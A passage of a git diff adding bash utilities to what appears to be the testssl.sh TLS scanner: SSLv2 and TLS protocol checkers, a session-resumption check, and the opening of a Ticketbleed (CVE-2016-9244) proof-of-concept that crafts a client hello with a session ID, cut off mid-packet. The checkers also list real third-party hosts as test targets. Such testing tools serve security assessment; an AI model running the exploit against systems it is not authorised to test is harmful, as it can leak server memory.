+# /<path>/openssl s_client -state -debug -ssl2 -connect AA.BB.YYY.XXX:443 </dev/null
+
+V2_HELLO_CIPHERSPEC_LENGTH=0 # initialize
+IFILE=./mapping-rfc.txt
+NODE=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-0}
+USLEEP_REC=${USLEEP_REC:-0.2}
+USLEEP_SND=${USLEEP_SND:-0.1} # 1 second wait until otherwise specified
+MAX_WAITSOCK=2
+SOCK_REPLY_FILE=""
+NW_STR=""
+
+
+# 9 cipher specs SSLv2:
+SSLv2_CIPHER_SPECS="
+05 00 80
+03 00 80
+01 00 80
+07 00 c0
+08 00 80
+06 00 40
+04 00 80
+02 00 80
+00 00 00"
+
+# SSLV2 chello:
+SSLv2_CLIENT_HELLO="
+,80,34 # length (here: 52)
+,01 # Client Hello
+,00,02 # SSLv2
+,00,1b # cipher spec length (here: 27 )
+,00,00 # session ID length
+,00,10 # challenge length
+,05,00,80 # 1st cipher
+,03,00,80 # 2nd
+,01,00,80 # 3rd
+,07,00,c0 # 4th
+,08,00,80 # 5th
+,06,00,40 # 6th
+,04,00,80 # 7th
+,02,00,80 # 8th
+,00,00,00 # 9th
+,29,22,be,b3,5a,01,8b,04,fe,5f,80,03,a0,13,eb,c4 # Challenge
+"
+
+# only classical V2 ciphers are used here, see http://max.euston.net/d/tip_sslciphers.html
+
+# there are v3 in v2!!! : https://tools.ietf.org/html/rfc6101#appendix-E
+# Cipher specifications introduced in version 3.0 can be included in version 2.0 client hello messages using
+# the syntax below. [..]
+# V2CipherSpec (see Version 3.0 name) = { 0x00, CipherSuite }; !!!!
+
+# see:
+# http://max.euston.net/d/tip_ssldump.html
+# https://idea.popcount.org/2012-06-16-dissecting-ssl-handshake/
+# https://books.google.de/books?id=LfsC03f8oGsC&pg=PA592&lpg=PA592&dq=sslv2+server+hello+struct&source=bl&ots=JWeSD-9pwH&sig=lMzhxTdybJ3tfWC2p9ltIOKlIso&hl=en&sa=X&ei=U3WmVKzyNoTgOOeigNAP&ved=0CDUQ6AEwAw
+
+
+help() {
+ echo
+ echo "Syntax $0 <hostname>"
+ echo
+ exit 1
+}
+
+
+parse_hn_port() {
+ PORT=443 # unless otherwise auto-determined, see below
+ NODE="$1"
+
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
+ 's/\:.*$//'`
+}
+
+# arg1: formatted string here in the code
+code2network() {
+ NW_STR=`echo "$1" | sed -e 's/,/\\\x/g' | sed -e 's/# .*$//g' -e 's/ //g' -e '/^$/d' | tr -d '\n' | tr -d '\t'`
+}
+
+socksend_clienthello() {
+ code2network "$SSLv2_CLIENT_HELLO"
+ data=`echo $NW_STR`
+ [[ "$DEBUG" -ge 3 ]] && echo "\"$data\""
+ printf -- "$data" >&5 2>/dev/null &
+ sleep $USLEEP_SND
+}
+
+sockread_serverhello() {
+ [[ "x$2" = "x" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2
+ ret=0
+
+ SOCK_REPLY_FILE=`mktemp /tmp/ddreply.XXXXXX` || exit 7
+ dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null &
+ pid=$!
+
+ while true; do
+ if ! ps ax | grep -v grep | grep -q $pid; then
+ break # didn't reach maxsleep yet
+ kill $pid >&2 2>/dev/null
+ fi
+ sleep $USLEEP_REC
+ maxsleep=$(($maxsleep - 1))
+ [[ $maxsleep -le 0 ]] && break
+ done
+
+ if ps ax | grep -v grep | grep -q $pid; then
+ # time's up and dd is still alive --> timeout
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ ret=3 # means killed
+ fi
+
+ return $ret
+}
+
+display_sslv2serverhello() {
+
+# server hello: in hex representation, see below
+# byte 1+2: length of server hello 0123
+# 3: 04=Handshake message, server hello 45
+# 4: session id hit or not (boolean: 00=false, this 67
+# is the normal case)
+# 5: certificate type, 01 = x509 89
+# 6+7 version (00 02 = SSLv2) 10-13
+# 8+9 certificate length 14-17
+# 10+11 cipher spec length 17-20
+# 12+13 connection id length
+# [certificate length] ==> certificate
+# [cipher spec length] ==> ciphers GOOD: HERE ARE ALL CIPHERS ALREADY!
+
+ v2_hello_ascii=`hexdump -v -e '16/1 "%02X"' $1`
+ [[ "$DEBUG" -eq 4 ]] && echo $v2_hello_ascii # one line without any blanks
+ [[ -z $v2_hello_ascii ]] && return 0 # no server hello received
+
+ # now scrape two bytes out of the reply per byte
+ v2_hello_initbyte="${v2_hello_ascii:0:1}" # normally this belongs to the next, should be 8!
+ v2_hello_length="${v2_hello_ascii:1:3}" # + 0x8000 see above
+ v2_hello_handshake="${v2_hello_ascii:4:2}"
+ v2_hello_cert_length="${v2_hello_ascii:14:4}"
+ v2_hello_cipherspec_length="${v2_hello_ascii:18:4}"
+ V2_HELLO_CIPHERSPEC_LENGTH=`printf "%d\n" "0x$v2_hello_cipherspec_length"`
+
+ if [[ $v2_hello_initbyte != "8" ]] || [[ $v2_hello_handshake != "04" ]]; then
+ [[ $DEBUG -ge 1 ]] && echo "$v2_hello_initbyte / $v2_hello_handshake"
+ return 1
+ fi
+
+ if [[ $DEBUG -ge 2 ]]; then
+ echo "SSLv2 server hello length: 0x0$v2_hello_length"
+ echo "SSLv2 certificate length: 0x$v2_hello_cert_length"
+ echo "SSLv2 cipher spec length: 0x$v2_hello_cipherspec_length"
+ fi
+ return 0
+}
+
+
+#### main
+
+[[ -z "$1" ]] && help # hostname
+
+echo
+parse_hn_port "$1"
+
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+ # socket is now open with fd 5
+
+ [[ "$DEBUG" -ge 1 ]] && printf "sending client hello...\n\n"
+ socksend_clienthello
+
+ sockread_serverhello 32768 0
+ [[ "$DEBUG" -ge 1 ]] && printf "\nreading server hello...\n\n"
+ if [[ "$DEBUG" -eq 3 ]]; then
+ #xxd -c$COL_WIDTH $SOCK_REPLY_FILE | head -3
+ #hexdump -v -e '"%04_ax: " 16/1 "%02X " "\n"' $SOCK_REPLY_FILE | head -6
+ hexdump -C $SOCK_REPLY_FILE | head -6
+ echo
+ fi
+
+ display_sslv2serverhello "$SOCK_REPLY_FILE"
+
+ # see https://secure.wand.net.nz/trac/libprotoident/wiki/SSL
+ lines=`cat "$SOCK_REPLY_FILE" 2>/dev/null | hexdump -C | wc -l`
+
+ printf "Protocol: "; tput bold
+ if [[ "$lines" -gt 1 ]] ;then
+ tput setaf 1; printf "available with $(($V2_HELLO_CIPHERSPEC_LENGTH / 3 )) ciphers"
+ ret=0
+ else
+ tput setaf 2; printf "NOT available"
+ ret=1
+ fi
+ tput sgr0
+
+
+ [[ "$DEBUG" -ge 2 ]] && printf " ($lines lines)"
+ echo
+
+
+ # closing fd:
+ exec 5<&-
+ exec 5>&-
+
+ rm $SOCK_REPLY_FILE
+
+echo
+exit 0
+
+#test: dragon, simhq.com=gryphon1.gryphoninternet.com misim.gov.il, shop4-heating.co.uk, service.hamburgwasser.de
+# 74.116.0.167 147.237.80.2 85.92.77.27
+
+# vim:ts=5:sw=5:expandtab
+# $Id: prototype.ssl2proto-check.bash,v 1.10 2015/09/25 19:02:24 dirkw Exp $
diff --git a/utils/prototype.tls-protocol-checker.bash b/utils/prototype.tls-protocol-checker.bash
new file mode 100755
index 0000000..225dafa
--- /dev/null
+++ b/utils/prototype.tls-protocol-checker.bash
@@ -0,0 +1,372 @@
+#!/usr/bin/env bash
+
+# bash socket implementation of checking the availability of TLS, (SSLv3 to TLS 1.2)
+# Based on my bash-heartbleed (loosely based on my bash-heartbleed implementation)
+#
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+
+# it helps to wireshark:
+# /<path>/openssl s_client -state -ssl3 -connect AA.BB.YYY.XXX:443 -servername target
+# /<path>/openssl s_client -state -tls1 -connect AA.BB.YYY.XXX:443 -servername target
+# /<path>/openssl s_client -state -tls1_1 -connect AA.BB.YYY.XXX:443 -servername target
+# /<path>/openssl s_client -state -tls1_2 -connect AA.BB.YYY.XXX:443 -servername target
+#
+# debug is easier for response:
+# /<path>/openssl s_client -tls1 -debug -connect target:443 </dev/null
+
+# todo: NPN (/<path>/openssl s_client -host target -port 443 -nextprotoneg 'spdy/4a2,spdy/3,spdy/3.1,spdy/2,spdy/1,http/1.1'
+# todo: TLS 1.3 (https://tools.ietf.org/html/draft-ietf-tls-tls13-03#section-7.4)
+# todo: DTLS (https://tools.ietf.org/html/rfc4347#section-4.2.2)
+
+IFILE=./mapping-rfc.txt
+NODE=""
+SN_HEX=""
+LEN_SN_HEX=0
+COL_WIDTH=32
+DEBUG=${DEBUG:-0}
+USLEEP_REC=${USLEEP_REC:-0.2}
+USLEEP_SND=${USLEEP_SND:-0.1} # 1 second wait until otherwise specified
+MAX_WAITSOCK=2
+SOCK_REPLY_FILE=""
+NW_STR=""
+LEN_STR=""
+DETECTED_TLS_VERSION=""
+
+# spdy, TLS 1.2, 133 cipher:
+TLS12_CIPHER="
+cc, 14, cc, 13, cc, 15, c0, 30, c0, 2c, c0, 28, c0, 24, c0, 14,
+c0, 0a, c0, 22, c0, 21, c0, 20, 00, a5, 00, a3, 00, a1, 00, 9f,
+00, 6b, 00, 6a, 00, 69, 00, 68, 00, 39, 00, 38, 00, 37, 00, 36,
+c0, 77, c0, 73, 00, c4, 00, c3, 00, c2, 00, c1, 00, 88, 00, 87,
+00, 86, 00, 85, c0, 32, c0, 2e, c0, 2a, c0, 26, c0, 0f, c0, 05,
+c0, 79, c0, 75, 00, 9d, 00, 3d, 00, 35, 00, c0, 00, 84, c0, 2f,
+c0, 2b, c0, 27, c0, 23, c0, 13, c0, 09, c0, 1f, c0, 1e, c0, 1d,
+00, a4, 00, a2, 00, a0, 00, 9e, 00, 67, 00, 40, 00, 3f, 00, 3e,
+00, 33, 00, 32, 00, 31, 00, 30, c0, 76, c0, 72, 00, be, 00, bd,
+00, bc, 00, bb, 00, 9a, 00, 99, 00, 98, 00, 97, 00, 45, 00, 44,
+00, 43, 00, 42, c0, 31, c0, 2d, c0, 29, c0, 25, c0, 0e, c0, 04,
+c0, 78, c0, 74, 00, 9c, 00, 3c, 00, 2f, 00, ba, 00, 96, 00, 41,
+00, 07, c0, 11, c0, 07, 00, 66, c0, 0c, c0, 02, 00, 05, 00, 04,
+c0, 12, c0, 08, c0, 1c, c0, 1b, c0, 1a, 00, 16, 00, 13, 00, 10,
+00, 0d, c0, 0d, c0, 03, 00, 0a, 00, 63, 00, 15, 00, 12, 00, 0f,
+00, 0c, 00, 62, 00, 09, 00, 65, 00, 64, 00, 14, 00, 11, 00, 0e,
+00, 0b, 00, 08, 00, 06, 00, 03, 00, ff
+"
+
+# 76 cipher fuer SSLv3, TLS 1, TLS 1.1:
+TLS_CIPHER="
+c0, 14, c0, 0a, c0, 22, c0, 21, c0, 20, 00, 39, 00, 38, 00, 37,
+00, 36, 00, 88, 00, 87, 00, 86, 00, 85, c0, 0f, c0, 05, 00, 35,
+00, 84, c0, 13, c0, 09, c0, 1f, c0, 1e, c0, 1d, 00, 33, 00, 32,
+00, 31, 00, 30, 00, 9a, 00, 99, 00, 98, 00, 97, 00, 45, 00, 44,
+00, 43, 00, 42, c0, 0e, c0, 04, 00, 2f, 00, 96, 00, 41, 00, 07,
+c0, 11, c0, 07, 00, 66, c0, 0c, c0, 02, 00, 05, 00, 04, c0, 12,
+c0, 08, c0, 1c, c0, 1b, c0, 1a, 00, 16, 00, 13, 00, 10, 00, 0d,
+c0, 0d, c0, 03, 00, 0a, 00, 63, 00, 15, 00, 12, 00, 0f, 00, 0c,
+00, 62, 00, 09, 00, 65, 00, 64, 00, 14, 00, 11, 00, 0e, 00, 0b,
+00, 08, 00, 06, 00, 03, 00, ff"
+
+#formatted example for SNI
+#00 00 # extension server_name
+#00 1a # length = the following +2 = server_name length + 5
+#00 18 # server_name list_length = server_name length +3
+#00 # server_name type (hostname)
+#00 15 # server_name length
+#66 66 66 66 66 66 2e 66 66 66 66 66 66 66 66 66 66 2e 66 66 66 target.mydomain1.tld # server_name target
+
+
+help() {
+ echo "Syntax $0 <hostname> [[TLS lsb]]"
+ echo
+ echo "example: $0 google.com "
+ echo
+ exit 1
+}
+
+
+parse_hn_port() {
+ PORT=443 # unless otherwise auto-determined, see below
+ NODE="$1"
+
+ # strip "https", supposed it was supplied additionally
+ echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
+
+ # strip trailing urlpath
+ NODE=`echo $NODE | sed -e 's/\/.*$//'`
+
+ # determine port, supposed it was supplied additionally
+ echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
+
+ # servername to network bytes:
+ LEN_SN_HEX=`echo ${#NODE}`
+ hexdump_format_str="$LEN_SN_HEX/1 \"%02x,\""
+ SN_HEX=`printf $NODE | hexdump -v -e "${hexdump_format_str}" | sed 's/,$//'`
+}
+
+# arg1: formatted string here in the code
+code2network() {
+ NW_STR=`echo "$1" | sed -e 's/,/\\\x/g' | sed -e 's/# .*$//g' -e 's/ //g' -e '/^$/d' | tr -d '\n' | tr -d '\t'`
+}
+
+len2twobytes() {
+ len_arg1=`echo ${#1}`
+ [[ $len_arg1 -le 2 ]] && LEN_STR=`printf "00, %02s \n" $1`
+ [[ $len_arg1 -eq 3 ]] && LEN_STR=`printf "%02s, %02s \n" ${1:0:1} ${1:1:2}`
+ [[ $len_arg1 -eq 4 ]] && LEN_STR=`printf "%02s, %02s \n" ${1:0:2} ${1:2:2}`
+}
+
+
+# arg1: TLS_VER_LSB
+# arg2: CIPHER_SUITES string
+# arg3: SERVERNAME
+# ??? more extensions?
+socksend_clienthello() {
+
+ if [[ "$1" != "ff" ]]; then # internally we use 00 to indicate SSLv2
+ len_sni=`echo ${#3}`
+ #tls_ver=printf "%02x\n" $1"
+
+ code2network "$2"
+ cipher_suites="$NW_STR" # we don't have the leading \x here so string length is two byte less, see next
+
+ # convert length's from dec to hex:
+ hex_len_sn_hex=`printf "%02x\n" $LEN_SN_HEX`
+ hex_len_sn_hex3=`printf "%02x\n" $((LEN_SN_HEX+3))`
+ hex_len_sn_hex5=`printf "%02x\n" $((LEN_SN_HEX+5))`
+ hex_len_extension=`printf "%02x\n" $((LEN_SN_HEX+9))`
+
+ len_ciph_suites_byte=`echo ${#cipher_suites}`
+ let "len_ciph_suites_byte += 2"
+
+ # we have additional 2 chars \x in each 2 byte string and 2 byte ciphers, so we need to divide by 4:
+ len_ciph_suites=`printf "%02x\n" $(($len_ciph_suites_byte / 4 ))`
+ len2twobytes "$len_ciph_suites"
+ len_ciph_suites_word="$LEN_STR"
+ [[ $DEBUG -ge 4 ]] && echo $len_ciph_suites_word
+
+ len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x27 + 0x$hex_len_extension + 0x2))`
+ #len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x27))`
+ len_c_hello_word="$LEN_STR"
+ [[ $DEBUG -ge 4 ]] && echo $len_c_hello_word
+
+ len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x2b + 0x$hex_len_extension + 0x2))`
+ #len2twobytes `printf "%02x\n" $((0x$len_ciph_suites + 0x2b))`
+ len_all_word="$LEN_STR"
+ [[ $DEBUG -ge 4 ]] && echo $len_all_word
+
+ TLS_CLIENT_HELLO="
+ # TLS header ( 5 bytes)
+ ,16, 03, $1 # TLS Version
+ ,$len_all_word # Length <---
+ # Handshake header:
+ ,01 # Type (x01 for ClientHello)
+ ,00, $len_c_hello_word # Length ClientHello
+ ,03, $1 # TLS Version (again)
+ ,54, 51, 1e, 7a # Unix time since see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+ ,de, ad, be, ef # Random 28 bytes
+ ,31, 33, 07, 00, 00, 00, 00, 00
+ ,cf, bd, 39, 04, cc, 16, 0a, 85
+ ,03, 90, 9f, 77, 04, 33, d4, de
+ ,00 # Session ID length
+ ,$len_ciph_suites_word # Cipher suites length
+ # Cipher suites
+ ,$cipher_suites
+ ,01 # Compression methods length
+ ,00" # Compression method (x00 for NULL)
+
+ EXTENSION_CONTAINING_SNI="
+ ,00, $hex_len_extension # first the len of all (here: 1) extensions. We assume len(hostname) < FF - 9
+ ,00, 00 # extension server_name
+ ,00, $hex_len_sn_hex5 # length SNI EXT
+ ,00, $hex_len_sn_hex3 # server_name list_length
+ ,00 # server_name type (hostname)
+ ,00, $hex_len_sn_hex # server_name length
+ ,$SN_HEX" # server_name target
+
+ fi
+
+ code2network "$TLS_CLIENT_HELLO$EXTENSION_CONTAINING_SNI"
+ #code2network "$TLS_CLIENT_HELLO"
+ data=`echo $NW_STR`
+
+ [[ "$DEBUG" -ge 3 ]] && echo "\"$data\""
+ printf -- "$data" >&5 2>/dev/null &
+ sleep $USLEEP_SND
+ echo
+}
+
+sockread_serverhello() {
+ [[ "x$2" = "x" ]] && maxsleep=$MAX_WAITSOCK || maxsleep=$2
+ ret=0
+
+ SOCK_REPLY_FILE=`mktemp /tmp/ddreply.XXXXXX` || exit 7
+ dd bs=$1 of=$SOCK_REPLY_FILE count=1 <&5 2>/dev/null &
+ pid=$!
+
+ while true; do
+ if ! ps ax | grep -v grep | grep -q $pid; then
+ break # didn't reach maxsleep yet
+ kill $pid >&2 2>/dev/null
+ fi
+ sleep $USLEEP_REC
+ maxsleep=$(($maxsleep - 1))
+ [[ $maxsleep -le 0 ]] && break
+ done
+
+ if ps ax | grep -v grep | grep -q $pid; then
+ # time's up and dd is still alive --> timeout
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ ret=3 # means killed
+ fi
+
+ return $ret
+}
+
+# arg1: name of file with socket reply
+display_tls_serverhello() {
+ # server hello:
+ # byte 0: 0x16=TLS, 0x15= TLS alert
+ # byte 1+2: 03, TLS version
+ # byte 3+4: length all
+ # byte 5: handshake type (2=hello) TLS alert: level (2=fatal), descr (0x28=handshake failure)
+ # byte 6+7+8: length server hello
+ # byte 9+10: 03, TLS version (00: SSLv3, 01: TLS 1.0, 02: TLS 1.1, 03: TLS 1.2)
+ # byte 11-14: TLS timestamp
+ # byte 15-42: random (28 bytes)
+ # byte 43 : session id length
+ # byte 44+45+sid-len: cipher suite!
+ # byte 46+sid-len: compression method: 00: none, 01: deflate
+ # byte 47+48+sid-len: extension length
+
+ tls_hello_ascii=`hexdump -v -e '16/1 "%02X"' $1`
+ [[ "$DEBUG" -eq 5 ]] && echo $tls_hello_ascii # one line without any blanks
+ [[ -z $tls_hello_ascii ]] && return 0 # no server hello received
+
+ # now scrape two bytes out of the reply per byte
+ tls_hello_initbyte="${tls_hello_ascii:0:2}" # normally this is x16
+ tls_hello_protocol="${tls_hello_ascii:2:4}"
+ tls_len_all=`printf "%d\n" ${tls_hello_ascii:6:4}`
+
+ if [[ $tls_hello_initbyte != "16" ]] ; then
+ [[ $DEBUG -ge 1 ]] && echo "tls_hello_initbyte: 0x$tls_hello_initbyte"
+ if [[ $DEBUG -ge 2 ]]; then
+ echo "tls_hello_protocol: 0x$tls_hello_protocol"
+ echo "tls_len_all: $tls_len_all"
+ echo "tls_err_level: ${tls_hello_ascii:10:2}"
+ echo "tls_err_descr: 0x${tls_hello_ascii:12:2}"
+ fi
+ return 1
+ fi
+
+ DETECTED_TLS_VERSION=$tls_hello_protocol
+
+ tls_hello="${tls_hello_ascii:10:2}" # normally this is x02
+ tls_hello_protocol2="${tls_hello_ascii:18:4}"
+ tls_hello_time="${tls_hello_ascii:22:8}"
+ tls_time=`printf "%d\n" 0x$tls_hello_time`
+ tls_time=`date --date="@$tls_time" "+%Y-%m-%d %r"`
+ tls_sid_len=`printf "%d\n" 0x${tls_hello_ascii:86:2}`
+ let sid_offset=88+$tls_sid_len*2
+ tls_cipher_suite="${tls_hello_ascii:$sid_offset:4}"
+ let sid_offset=92+$tls_sid_len*2
+ tls_compression_method="${tls_hello_ascii:$sid_offset:2}"
+
+ if [[ $DEBUG -ge 2 ]]; then
+
+ echo "tls_hello_initbyte: 0x$tls_hello_initbyte"
+ echo "tls_hello: 0x$tls_hello"
+ echo "tls_hello_protocol: 0x$tls_hello_protocol"
+ if [[ $DEBUG -ge 4 ]]; then
+ echo "tls_hello_protocol2: 0x$tls_hello_protocol2"
+ echo "tls_len_all: $tls_len_all"
+ echo "tls_sid_len: $tls_sid_len"
+ fi
+ echo "tls_hello_time: 0x$tls_hello_time ($tls_time)"
+ echo "tls_cipher_suite: 0x$tls_cipher_suite"
+ echo "tls_compression_method: 0x$tls_compression_method"
+ fi
+
+ return 0
+}
+
+
+#### main
+
+[[ -z "$1" ]] && help # hostname
+
+parse_hn_port "$1"
+echo
+
+for tls_low_byte in "00" "01" "02" "03"; do
+
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "`basename $0`: unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+
+ [[ "$DEBUG" -ge 1 ]] && printf "sending client hello...\n"
+ if [[ "$tls_low_byte" == "03" ]] ; then
+ socksend_clienthello $tls_low_byte "$TLS12_CIPHER" $SNIHEX
+ else
+ socksend_clienthello $tls_low_byte "$TLS_CIPHER" $SNIHEX
+ fi
+
+ sockread_serverhello 32768 0
+ [[ "$DEBUG" -ge 1 ]] && printf "reading server hello...\n"
+ if [[ "$DEBUG" -eq 3 ]]; then
+ #xxd -c$COL_WIDTH $SOCK_REPLY_FILE | head -3
+ #hexdump -v -e '"%04_ax: " 32/1 "%02X " "\n"' $SOCK_REPLY_FILE | head -6
+ hexdump -C $SOCK_REPLY_FILE | head -6
+ echo
+ fi
+
+ display_tls_serverhello "$SOCK_REPLY_FILE"
+ ret=$?
+
+ # see https://secure.wand.net.nz/trac/libprotoident/wiki/SSL
+ lines=`cat "$SOCK_REPLY_FILE" 2>/dev/null | hexdump -v -e '"%04_ax: " 32/1 "%02X " "\n"' | wc -l`
+
+ case $tls_low_byte in
+ 00) tls_str="SSLv3" ;;
+ 01) tls_str="TLS 1" ;;
+ 02) tls_str="TLS 1.1" ;;
+ 03) tls_str="TLS 1.2" ;;
+ esac
+
+ printf "Protokoll "; tput bold; printf "$tls_low_byte = $tls_str"; tput sgr0; printf ": "
+
+ if [[ $ret -eq 1 ]] || [[ $lines -eq 1 ]] ; then
+ tput setaf 3; echo "NOT available"
+ ret=1
+ else
+ if [[ 03$tls_low_byte -eq $DETECTED_TLS_VERSION ]]; then
+ tput setaf 2; echo "available"
+ ret=0
+ else
+ tput setaf 3; echo -n "NOT available "
+ [[ $DEBUG -ge 1 ]] && echo -n "send: 0x03$tls_low_byte, returned: 0x$DETECTED_TLS_VERSION"
+ echo
+ fi
+ fi
+ tput sgr0
+
+ [[ "$DEBUG" -ge 4 ]] && printf " (returned $lines lines)" && echo
+ echo
+
+ # closing fd:
+ exec 5<&-
+ exec 5>&-
+
+ rm $SOCK_REPLY_FILE
+
+ echo "--------------------------------------------"
+
+done
+
+
+echo
+exit 0
+
+# vim:ts=5:sw=5:expandtab
+# $Id: prototype.tls-protocol-checker.bash,v 1.13 2015/01/12 22:28:35 dirkw Exp $
diff --git a/utils/resume.sh b/utils/resume.sh
new file mode 100755
index 0000000..3253af9
--- /dev/null
+++ b/utils/resume.sh
@@ -0,0 +1,22 @@
+#!/usr/bin/env bash
+
+# simple check for session resumption 1) by SID, 2) by tickets
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+
+
+echo
+echo "####################### session ID ######################"
+openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -no_ticket -sess_out /tmp/ssl_s </dev/null &>/dev/null
+
+echo "--------------------------------------------------------"
+openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -no_ticket -sess_in /tmp/ssl_s </dev/null 2>/dev/null | grep -E "New|Reused|SSL handshake has read"
+echo "--------------------------------------------------------"
+
+echo "####################### session ticket ######################"
+openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -sess_out /tmp/ssl_s </dev/null &>/dev/null
+echo "--------------------------------------------------------"
+openssl s_client -connect $1:443 -servername $1 -bugs -no_ssl2 -sess_in /tmp/ssl_s </dev/null 2>/dev/null | grep -E "New|Reused|SSL handshake has read"
+
+echo
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/ticketbleed.bash b/utils/ticketbleed.bash
new file mode 100755
index 0000000..399700a
--- /dev/null
+++ b/utils/ticketbleed.bash
@@ -0,0 +1,352 @@
+#!/usr/bin/env bash
+
+# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
+# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
+#
+# sockets inspired by http://blog.chris007.de/?p=238
+# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
+#
+###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
+
+[[ -z "$1" ]] && echo "IP is missing" && exit 1
+
+readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+
+OPENSSL=${OPENSSL:-$(type -p openssl)}
+TIMEOUT=${TIMEOUT:-20}
+
+# insert some hexspeak here :-)
+SID="x00,x00,x0B,xAD,xC0,xDE," # don't forget the trailing comma
+
+NODE="$1"
+PORT="${NODE#*:}"
+PORT="${PORT-443}" # probably this doesn't make sense
+NODE="${NODE%:*}" # strip port if supplied
+TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3
+MAXSLEEP=$TIMEOUT
+SOCKREPLY=""
+COL_WIDTH=32
+DEBUG=${DEBUG:-"false"}
+HELLO_READBYTES=${HELLO_READBYTES:-65535}
+
+dec2hex() { printf "x%02x" "$1"; }
+dec2hexB() {
+ a=$(printf "%04x" "$1")
+ printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
+}
+
+LEN_SID=$(( ${#SID} / 4)) # the real length in bytes
+XLEN_SID="$(dec2hex $LEN_SID)"
+
+red=$(tput setaf 1; tput bold)
+green=$(tput bold; tput setaf 2)
+lgreen=$(tput setaf 2)
+brown=$(tput setaf 3)
+blue=$(tput setaf 4)
+magenta=$(tput setaf 5)
+cyan=$(tput setaf 6)
+grey=$(tput setaf 7)
+yellow=$(tput setaf 3; tput bold)
+normal=$(tput sgr0)
+
+send_clienthello() {
+ local -i len_ch=216 # len of clienthello, excluding TLS session ticket and SID (record layer)
+ local session_tckt_tls="$1"
+ local -i len_tckt_tls="${#1}"
+ local xlen_tckt_tls=""
+
+ len_tckt_tls=$(( len_tckt_tls / 4))
+ xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
+
+ local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
+ local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
+ local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
+ local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
+
+ if $DEBUG; then
+ echo "len_tckt_tls (hex): $len_tckt_tls ($xlen_tckt_tls)"
+ echo "SID: $SID"
+ echo "LEN_SID (XLEN_SID) $LEN_SID ($XLEN_SID)"
+ echo "len_handshake_record_layer: $len_handshake_record_layer ($xlen_handshake_record_layer)"
+ echo "len_handshake_ssl_layer: $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
+ echo "session_tckt_tls: $session_tckt_tls"
+ fi
+
+ client_hello="
+# TLS header (5 bytes)
+ ,x16, # Content type (x16 for handshake)
+ x03, x01, # TLS Version
+ # Length Secure Socket Layer follow:
+ $xlen_handshake_ssl_layer,
+# Handshake header
+ x01, # Type (x01 for ClientHello)
+ # Length of client hello follows:
+ x00, $xlen_handshake_record_layer,
+ x03, x$TLSV, # TLS Version
+# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+ xee, xee, x5b, x90, x9d, x9b, x72, x0b,
+ xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
+ xcf, xbd, x39, x04, xcc, x16, x0a, x85,
+ x03, x90, x9f, x77, x04, x33, xff, xff,
+ $XLEN_SID, # Session ID length
+ $SID
+ x00, x66, # Cipher suites length
+# Cipher suites (51 suites)
+ xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
+ x00, x39, x00, x38, x00, x88, x00, x87,
+ xc0, x0f, xc0, x05, x00, x35, x00, x84,
+ xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
+ x00, x16, x00, x13, xc0, x0d, xc0, x03,
+ x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
+ xc0, x1e, x00, x33, x00, x32, x00, x9a,
+ x00, x99, x00, x45, x00, x44, xc0, x0e,
+ xc0, x04, x00, x2f, x00, x96, x00, x41,
+ xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
+ x00, x05, x00, x04, x00, x15, x00, x12,
+ x00, x09, x00, x14, x00, x11, x00, x08,
+ x00, x06, x00, x03, x00, xff,
+ x01, # Compression methods length
+ x00, # Compression method (x00 for NULL)
+ x01, x0b, # Extensions length
+# Extension: ec_point_formats
+ x00, x0b, x00, x04, x03, x00, x01, x02,
+# Extension: elliptic_curves
+ x00, x0a, x00, x34, x00, x32, x00, x0e,
+ x00, x0d, x00, x19, x00, x0b, x00, x0c,
+ x00, x18, x00, x09, x00, x0a, x00, x16,
+ x00, x17, x00, x08, x00, x06, x00, x07,
